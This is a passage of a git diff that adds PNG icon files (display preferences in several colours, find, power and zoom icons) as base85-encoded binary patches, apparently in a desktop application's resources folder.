zqy4#gS{knGQ>-Ur9l1vt{&RmM4u`Q5aF#vhR8p#BR%hY$a`l*gB z>L62c8LL~Q>QGYI!MP@+6BADm6RRnEpQR0$l_6~c0Ig3ry-FK$Ua_=5XT2FXf3fc zKZnYo-_5?9p0!zJ)!!fhFQk?4K23MMdL_92#0+(H(}QjD!zKA?^Kyuy;n4uC=E4`* p5!@7~@c#p0@&98tu4C^h)&yVu`LLsP^uW^qG*onzt07jA{|_hO0sH^} literal 0 HcmV?d00001 diff --git a/master/resources/edit-find.png b/master/resources/edit-find.png new file mode 100644 index 0000000000000000000000000000000000000000..cafc1750b40c42961143631279d70ec917776c7f GIT binary patch literal 1863 zcmeAS@N?(olHy`uVBq!ia0vp^4Is?H3?#oinD`S&F&8^|hH!9j+MZCPcfNFpYpfaEokO2_~a)Atp2t*2~3nGQA7@`19LKr}ma1n@NAPEDzDyeH|Y3u0f85x_HnOoS{ z+Sxlgxw?6H`}q0=1Oi3Sbd&-g!z1QnO;wb@KBwXEyquH-5kV+24ER z=VyMdy6h?-N=#do_6oqqbJ_wt``iEB>(by~9y;mz-YFax*9AMl^$G^8%|6A{LE-LfQgz$go zo-D2Ry;ol?7r)jsZjbcgm%ry9R-B$>tKa{-X?paQ7@iY9j|+Kix@XbMnQQaKIHmTG zQ}T?XQ*OWcHH%;4Mv;Z4dI@Kt*bVK=!h8NFo%H-zp?+=CEB4$)0bN1Sg6qy5>|vAo z@O^#H_0EdYp1;?vPSq=(>TsJP9DdWQSn-!)s@KfWkoD(S7q9rI;itJP)I&DyV!zAZ z{H;ZKvahBdmgEUp@XLSWblw&A2`f+MC-hu5d6MVxF4>}fp_)y1+uY`$M*gjhDIqtR zR}@LSQkt}aSL859a>*A?5B()(7nqc{T(}sm_*ZjlW1Yl77kB-}FLGJTFEl23x$kFv z8GMB;AhLhSVt2=1=~>KS5(gdJ_xGH8bA>I(psDSX0sl+(|LYmo?`PV=xxOM>*zfaC z9`%*HUp{)e+`Ym!>*tb3YR{5P-mOh)IrTA7A=J_?N$>a$#goetpF4e0t95RQ-sC4$ z#IN$*=u68}jp>0r3A`Hp(~KlK9C9mri}GxdGbSl)8_*ZIm9%yVsi z{_!dhp0uH7y8ma%t4%j-Ws3HnNS1E-KL5*e#Rn}uy9;Zd&y>_$bNV6Idp3RcpJn1= z)}hOvnf;#?yWHC)kMGR4aI@8=d8;=+{5b2iX&RS4dnMoWF!oqW@wrB6dHrYKx@v7t zpYZZaN&h`NZO?AA43oAOTP9uWR6f3c-iikgUWxoX`t%O-YA(Jlxl4ZOZ&3*3Wmm|Z z=2EA~%&=e*v+vtw>OXt4?$>8uEo5LibN~FL`0Od|yR)Mu=9)zcAm?Y%{%G3`fOV4oHuz!vE|kOf-W;kwlF_*un^#bQ{hWa z+I^Rn&076f&dH@H1DqpzIKW0z2I+P*~Z}M>gTe~ HDWM4fPstqz literal 0 HcmV?d00001 diff --git a/master/resources/exchange-positions-zorder.png b/master/resources/exchange-positions-zorder.png new file mode 100644 index 0000000000000000000000000000000000000000..0f95dd07aad265b7ed583f5c5014d0cc7fe22f56 GIT binary patch literal 1984 zcmZ8i2~<;88opVcEMXlG2uq=ARh9sPD zRSS5Dj`rU6002iWCte6o%(87sFh0}OzJLd*IF6fcYioOZjIV>Kos_eo7y!}FmQ7gm zo!lFeR9V7$+1l;-veL~(d7!kkG_>%qTZ?lyOY=gv7Zv<{f(}i@OhHO|0yM*gVVFoH zLQ#~<<-&+I-iK*wYATz}h9LTck;mf+1cKz`e8paGhp2Nu#hjkpu4jE*Oefhj|2q<21s zW=O^;pI9#M{7s@O4bhzjXoD)`=}Ns7Ltw?fPGV`n?6ge9?9elnPw)~LaVNd=PYllE z9^8Q6#_X^R05MbfM_-20G7nt1WUa+X7_D7!r`2yYyagDYmM+i+fwlHc&s!wk*LtlL zyjcRV<-*@b#U;EEd>U32H@q2f$r68kBY&j7S3%}2(we4oSdH-8`d%jFtpx-kiELwQ zYiCb!aCCHWb(`<$MfLXf@%4Lm(R=SLUc4kQC^#g9MhgoMU$!hFGICW^G@TKHvf>jG z*z80Omz$IfUlxxqNE4=uL>cQgW@cq?&V4^$Qn*!GB->F^T2{Uj!*=iata@Kf&He)i z<+X>uJW_YG{_CdW|7dA#YwtRF>YM*`t5j!tdd{jf=PzEm+;`<_|G>4u!Rt3}{CIOn zduw=P^v>OTy0HfjA3ide#wRAHrha+)^x5?DnVH$y7cXAU&AobMjvgs%27pZF#>b|Y zjgF5NWZy(xY;@H{pB*0-oOriHku$mU`8|rqr7Cre8dR!h?jhx#NUXac%)h_iloi8S z*}eMQ@c$^YwcF|*FZSU)cR~~J^{6-5@X@h8n{C>?$AP^d6PwRUU8_gpyNBKbJ-=C1lEhs zlS_SE2?5hSZVx5#z$@zlIk*jkAG2R&o=8Nny$a;>1#O_K#%`sY;Jfa_V$qTyAj|n% zoD&sfbR7uI2i!XmkKn z6K|83lzDr(KaH@_ypsKTzbn#LPLHX%*m8q#LkZ7mJC}>_MJ};a{hc@bFM!dwTaSXk)O4Y zwk4uLegS@jLK!Ft>rT_xeH1}3HR=m%S)=MYnybrR=UbD=5zkR|k@--ds*0u$5#A3J zX+l5Ai<|zZeSUy$|N4rrD(f0mnk^qR(98#ZY`FTw+|%Mi%}DXryA0=?=?X#>>H#uNdVJx~=A<#s5yZqoFmCJi1z$OD&_50|6`l_dT4nz<%AC_cJou-iX&rLY^0J*%tZ*Yd>sk_CG z8RqjhqGj9xbFM2;-$U*PF+V^y|EoY-uoZJ5Ql~ey#mq>m=c95|Sh29S`E)~A1VXl5 zq%GJ*9eufr*E$)vu;x{F#gx{$+&r?c+va3;Z!6Y*E)!kXXt&hp6Iq*Ye(?-bo!j@@ a;+lyUuB|W)r_(zu|4(iLFJ2j!Q~7^^jWQ(w literal 0 HcmV?d00001 diff --git a/master/resources/powered-on.png b/master/resources/powered-on.png new file mode 100644 index 0000000000000000000000000000000000000000..ab527c236caabdd0eb02c6d888f64e2bd527435e GIT binary patch literal 2479 zcmds(doa{{AIE=dSu2Fdv6L1ODY+!&PAjCym43T^>}{t2F zw<&G|06@~-4&@AMD3ZDc1HlI2=ASa+(XKVxe|tC;&j+^?gB@oXBZV zL`2xQMPNfn5j0}BFF>QwbOOkM6dz)!uTDs~U+$c#A^->lV@~00Kr00D!+xVyW9;N;|V=FFL`;Oy+|=H><}{|Q(u*45P&Ed7rF z+CVc7hr{FXKj3G&Rs31~8~iQZ+5*l2tN+FDk0nq9hk)^;ee0Eeh~WN@jX$rw6+q{Y z*g6eV!1Vt<5b2M>XFT28kp;eOT@lWXSO6jf6&8VsZj+GQE+s9qLso95{4WX!MWtQ4 zmG>Z3RMqyXYwXk1+OK`!pw1y(J)>jBCZ=W`ywJLOWudoUu3;yer|X zw=c=hKj2(oP%t?pG%TDFL5reaV#LJ8CnTq)rT=~h8Zsz=vn|Jpfv$&*` z_26My#lIdseo|Rg{q$MQ^B3&ey7~rAV^ed>%htB`j?S)E-95eiZ{GfUU~uTeNAAez z*!Z6llT)9jXJ$Xo&GWwU7nhb-R@c@yHU;pwYZw3!8L~%N;UWh=dw3kjxyYFtKwHr% z1=g1J&N}DtC%loTJUeydNr`43`0B&+e$w@M5Js=>^qSH);dK~y znTcCu#nlsm2?92Yb{OC(0RGMc{Oyo@h(FC;uqhhT572+>jq%yTQ)K7_!rUVk8$(zK z#tH2;kHztCgEv`PihwwUxOqE=GknWCPu4tCS5w)n&I)hg=ibQ+Nc42BdE{y;$cQ+$ znL`}mwS})fSZVf3kh}TkQi8?^w^0n=_hp={(ncteLhik={ziUAD9M(u9>1+?QI@<7 z_L1Pn*43(2L)Iv>o(Oq%JC&q|Uv`cXi;6`Y%`3v+@^yqyjP93(GDYev(3M9z{3K zfpt_v0Sw745q>V2Iz9|9x%ANT!;PW&Oq@(#_hNw-M8b^IdrxJE^M2E~)u>IPm8+XM z_VPugaqGMuFFH@d#bjdl&ap3gb7cLDn8I-xIe6Hj!rO*7MKhev5HaFYX~}Y~ex}li z*Ir`#W=*Z{j0fTfmaiL7kSURk+f_V7q!=aSMk|V*LWjwZ?JTkZ))a|X!j@9kJ1vCX z{Tg2~au}1QeZZYn)>0lI!h~@09FVzTs!fAsv`Dt&d-04U%iGAdRKHrOIRQ zsBaJ}zFm=bDy&py(ho59xGz1n5KQX3^)t1I# zhf|){6+Ve?vhUyT2o2OTF*`|FRd;YJjD${Z=%gZSat-22OSn_4f7Skn36x;88cw8$_jLcp2lCC8Sq@|2#Ye;jAx4%v9i6nF7nj2O8*V1 zg{h7ze>>9lE>qZ`?!3$H0#WEULd)I!v1`Hog_&=uhms(k6f0d9DqDXp$N^>++Y=HU zRM2&9sQS^3p5qm&(TCakeZdr0D&0ymNrJnRA4z1IL6zIxNaM70GPHIj`jM`b-#6k3`3#ZJS?~b>5xomQ%KyAmQr3BC8f~BflQ}nL~f+>>17fr2-0$q{V4%H|COO~ z^@iH}G8&?7INK-dvNC+?_vq$!+tt=aoIIrnD`)eU!V_P4Aw>afKBV96?sVXkxB3Ej-$ z`&GHYQVXr!A=nSy+Ansk^^?)Z`b1}EyxRJL;<@LlE8*1xn;l6P+ph?IDuRD)Gi16Z#g z@qUditvY+PZsy(y1-|{rM1c6Ng}DjhNE6>Hx_dYCLvE<=&DxIxMn{i~ND9A@^?^pO l2Rb~y?GAo$Q|yYH>S#g^8eMYc_rCuw+1ogx%B;`E{sj#2K2!hz literal 0 HcmV?d00001 diff --git a/master/resources/preferences-desktop-display-blue.png b/master/resources/preferences-desktop-display-blue.png new file mode 100644 index 0000000000000000000000000000000000000000..5668baf1ac5fc9ebb0d3f322ca7e5fae96bb7b44 GIT binary patch literal 1242 zcmWmCdr%Wc9Ki8Qh!qeDY0;V7C6_}{Anzb=LS7I^ibRUhY8Ay+bktT9n4xuQ45)}; z1SzFJ5VftPfT&cVV6Eb7w2X)d8U>8u(P&$-kmQm}AVb%g&+ogtGyC7}u?%&pzc1_y zL6E;nnVbn$-MjJj0=1h@y1?R2y}d`qR-3`mXRmTYJ_N;Ny&DoumjX5rtw6E9 zU`_7!g2JtNIZ$C?A#dlN-T9wy-J8S9&D&vkD}o`2L}aYeDBfNEW`=fPhNhjN9h{-* ztZ9;O*pW&*a?*}e*^zJU z^lCf(JDgsF)4#{*wK%;Fr`O|j15R(i84V7`DF>s`!8q+;oN+MDIv77V7(Y4~KRMBJ zPV{Fd+T=ukaiYymw8e?G66kpXZ6nYN1oI-nyhJeD3FfaZ=4BW2ii_FdVs^Tizqzn3 z7uM~@uDY?`-PkqviZIrSF!qXYfD;zyak)aCt&5s9+@z5JvKWh$sQDGFk{k#zX*7u`7Y- zxJV!-J_?9Uh>jCQ$0x=B3F25l1W4jU;yBPmKpHQS#Dj`u35n7KPzfLxNn|2WX;LB} zOBMriKp_E=Qlvm~stiyl@8>sLo&* zd76H`(udMX)_=K~1QBZT{B%nIiS1Y6u1}LPbBsDA^txwx;G>U|u=mC+(4DT}z&u+0 z$&Kw6wK9ZypF)OnEKGX>|TUB~`gx>*yy`B|{osTu@NvcFmPK%A00DT1O)pwFhl|LT1_%dp$oet1QGZ-#BH;e>S60xhM|cka!WV&R?K zT^{`E*JgEv*B|BCXPgT@d(}x@e6tMAoajfQ>c`#a!IoDCWdCKfg{)!USYJ|ibId|0 z-iLa`o`*#9t&8J~59KVQDrxQ%Z>es{y|in>tX#b;XwVgd92{yMzP*iIy#q(Z^K@Kaf{)0!fq_7k%L6Zsofzn%{8g{DRZ#E~6*eR=Ta+59UUTFCYE(fKaB zr>9C~xpDo>Ub4E!CzcdyrbMS_J4DlX?-2?Abm^Ym>Yl#7zA1j|p+&`cJ`eYU{{^WO L>f{UZ?Bf3cB3=>D literal 0 HcmV?d00001 diff --git a/master/resources/preferences-desktop-display-gray.png b/master/resources/preferences-desktop-display-gray.png new file mode 100644 index 0000000000000000000000000000000000000000..ac58363e515a57abd78d7dde352888cb4b94e9b8 GIT binary patch literal 1055 zcmWmCdrZ?u0KoBI3v3m}pc`bNh7?fS{@P!EErmYl^VdS56{yO?41q+gs2dwJP%W8? z6a>mkVZ)>w9SXw41er70*aiZb8x$gvLXk&#m6w}Lgt_qscV0gCy}RW8x?IUoO_ZlQ z$sK|qPqiu{4y<`^C&2~u-HeQ(0+{!C*i?$w<%Ep3nJ@!DVFX~&87LhASac@9W*{sE6JRq?AQ(Z}2q=rgM1z^2 z><|rK|OfCk+!XIiOT2BGrY3g+)b0#l^)Ylc}Vn zq_niOtgNiOyu6~K;_JG*Jx>R%14Df_`;)QX!9-DHG z&&*CZ=cnctrso%4F?p+cz1~(<1F9&x;rwy}W0#YeEy3qhfDp0}$l1CCd64e2KrY zk59%yP3oB&-&^6Fha)NYwS#=$R(x%*(!7!q1|28;9ymeD6Y$*>8Q}&FF4^cqfu`FLd59`t79ka-YHiyn3oJkMB z$cOJK=2aT<;Sbx~S|ybmB*HbH*Nx^&p>uaJtE;s*-UEIg?mn>>yxL@p9l;s`DD{c< zyr}(=u0eRBkxA~af9FqPr5BWY#kSZqntT2){oWYE@{GmHNqXRgzv&~> zi|AF`BlU%1ZFclrjy7n|T_y9|-B_~l{;vIUc$07*UGc@xmE<>;a%nENypuU(6p7Ym zQxCdSu)JSYCwumK_>pG^zB2!l_LHQ;Yk8fuswud6=F^2=p6Bm6Uu+am8{2m7|1sdQ zBk$lISjhTzqNnqRGQ#cdRZC{fdh&wzWBqP_HyKX6Vy;$fYTLKh-*}ySyroOLY~8js z-ja21ciB7GXk@BD+rBcl)$hByU00KSi_#)X;Sf`Wy*sT{2*K4D;O&}^d5?;XW3Rh< m3O%lNTn_rR#m)EtjOm8(C;NPQ>hFX91gVvph!(}k{Qm*0`>YQD literal 0 HcmV?d00001 diff --git a/master/resources/preferences-desktop-display-orange.png b/master/resources/preferences-desktop-display-orange.png new file mode 100644 index 0000000000000000000000000000000000000000..2d1f1ea0741b984ba85e88d44aca3f36288136a0 GIT binary patch literal 1206 zcmWmCc~DbF9Ki9%AqFuLf`Ecn@F4dEBq1b_5W*2kks@@&fdPu(H3d0pw6+1%D(Wbx z2!=!MtBw}5gBLAUDRo*QpdgpVaN5BshcM3DXGr^V=d<74o!S3(&qhUtlGnJd!7z-h z4pT+Ln)hjvtf0%rO9&RLY^6GeL?Vri?=-^E_HbBSHin54K23{_c_FaDHs%EH&e@fb zmZM3|O2sr94fjC$q3o38!>QbitbOHkGFJ?3AYgO(Y$(r*!xeC#d~Yrg z`0#+2kPo~?0^lR|0zzMJAd>h1v7Zq5N<|Wx$j@I4qyfG_2ILZ1fCTCf6n-+fA2c9P z>aUPOCfKhPxUYU>K}Oa{AJI; zkbZEae`xgi@YulU>%lR@(CarNhVfD3#H;Zs!{qdvsTsW31}|QXUnSvJZSj&dc!?ce zvKB8T;x4^$1dqUvp^dONBCJ5Y@$ss%JuOGkAKRL4a1ETW!G)N_aiF44dv8u>({ zfN1g}n!Jf7AEH@EG>eE9G11~{nUvZFZ)}kh9k~lr%nYYtn59&$3XC~A`tP3pgJTLx z#jmktd&q+PKHfiXrvxjfw6XGZK*II_M_@zDPCm7bpcnj>?) zREmQ`+lQi1ul%lF#qfBeHYI! zm8{h#hF;t^{OZL*`Mg-eHnrOs4B8A2r>8r#(z%5@%PqQ1KE-RJnc+XAyS@Ang!vA% z=5{vrH;$UWlm1**Y*pY=Fxxaycl^q%&BK|JZq%(ZI~8dK1R9cjGwk1fV`*Jqypfd` zZ@fDhBp~oX{(ncx91X*_O6O}g?C-W*>=g|Zbu1Klm}OTuiD?i2cwy8QPD#mWms@m& z?a6;99nUoVUN`oId1T_Pg}K^Lb}37;b8a$mB+fc2Mbj*9{CG2~AbC&joyE||*bLgu zD6?+fyrNGm3i&E7gLlsUnEb)=yJH>eB5vBH2xiajyU=O6r_}_Sw6inaO=sU#=~r@% z6_w9&S59svS?9Y`tWPK?yM_59AM*=ok)~qUp_8{ki2>flJ# JEoIV){{h@m1jGOU literal 0 HcmV?d00001 diff --git a/master/resources/preferences-desktop-display-red.png b/master/resources/preferences-desktop-display-red.png new file mode 100644 index 0000000000000000000000000000000000000000..c4db932c6f62e192c0fda0255a9de4188ae3d2e3 GIT binary patch literal 1239 zcmWmCdrVVT9Ki8gP+kL-O_0`7M4-L5x4ms?fzn>u+ftCnL;`G%IR!Qm)G0{Wz!w%p zgZRRzF$@ioIGs~bw`>y$j|Jrog#xw~>_ZVJMu&q6Y>NAle9rfGPICS`=V)@$8ZQrq z2ZA78@o}0In7W1K<_w*-ot}f?tX0RSxw*NG*w@+M=$;>!u0@cDjSGuL*TupHp%=z{ zQJ9*yrLZWgAR8$vDk8S-+^+p5D?gjaE6AySO)?OK)|dQgS`1ufqg*zMvoXNqpg0Eu zJPsG|QH+Oj0UyNyfpPg54hW0~1YDfp@_>NL2SS`D!1+Lk6F|fxggmGqluwBGP@$Lr zB8dQmh6#Z z;mhvO4|cBLborrOepnYB>lzs9reoc7Za0J5!@zr1@_Gypdsp&$nf%@%V;_^~^C$HF z0zFHpAAZ!&685u1{Q;tZ1)&40fOx=YHmnjG0)fO}8W{|f46Y6vS{*(V6h35rJRB4; z94s9ku{;cxJ`9O8hRBR;AU8g?n%Hs^2au1@s7DsN8B>@srP=mmgsU9kQlmIfjoQa7 zPoG)G#`Ee1%HTz5g(*p?2sLinf*?*i<290;Kd}Y1jH1 z8d9usIxzDSM!W9m+VIRJ)3yHEUH^R2p_@YUZ!mRt()t5OSvu)@*UPnm*B8CsjQzei zZkNrljCRiZ{NI1pr+6N!OkA~@QK6l2qU~ngmUxREl-HHL^YlBt*ah7!=udUYFojf>Q* zgv0wJAC0wcZAqEGEo6ILOMUb4+1t~|e)*8dMFyz zlBV9h#P)LUj*}HHqP15Y`c31(%IaUU+eZD7OzpbXye2D|ZRhxsmXf$ikNZsJ9KYo3 z&Rq6$mWNBHJYhfAYx{pF!rUfp%ov=$Vt%pb-mM?TmfRO>9QCug*30)=o6-$Jt6yic zlYt)_@j-U@$W2elRi|>1hu$zX^mOj~qVL{WYCf-?#q8~@l3Nyr_tzygrU%V;jyX{$ z-q&0Fo^N=zthM;V+O`1nv&NO@)N|QQ4KF_&S|f41{&}`C=TKsXV(Cojo&8y+n4TwMq|RlH^JXJGYa0eyPi5GhHr?($0TX$)R_nW2P=N_p#T5? literal 0 HcmV?d00001 diff --git a/master/resources/preferences-desktop-display.png b/master/resources/preferences-desktop-display.png new file mode 100644 index 0000000000000000000000000000000000000000..af00f34349df5aaf2af2c8f7ef3c9bd673b49e23 GIT binary patch literal 1193 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 V^kVr4@mB>%U0LU0sS+yae*j2+sEz;t literal 0 HcmV?d00001 diff --git a/master/resources/zoom-fit-best.png b/master/resources/zoom-fit-best.png new file mode 100644 index 0000000000000000000000000000000000000000..c8e956402da73ba19d20cb11fecdc9c0eb50ea9c GIT binary patch literal 566 zcmeAS@N?(olHy`uVBq!ia0vp^4Is?I3?vN&YJLDI=3*z$5DpHG+YkL80J)q69+AZi z40*dinDN@Zjp9H-$r9IylHmNblJdl&REF~Ma=pyF?Be9af>gcyqV(DCY@~pSgaUj* 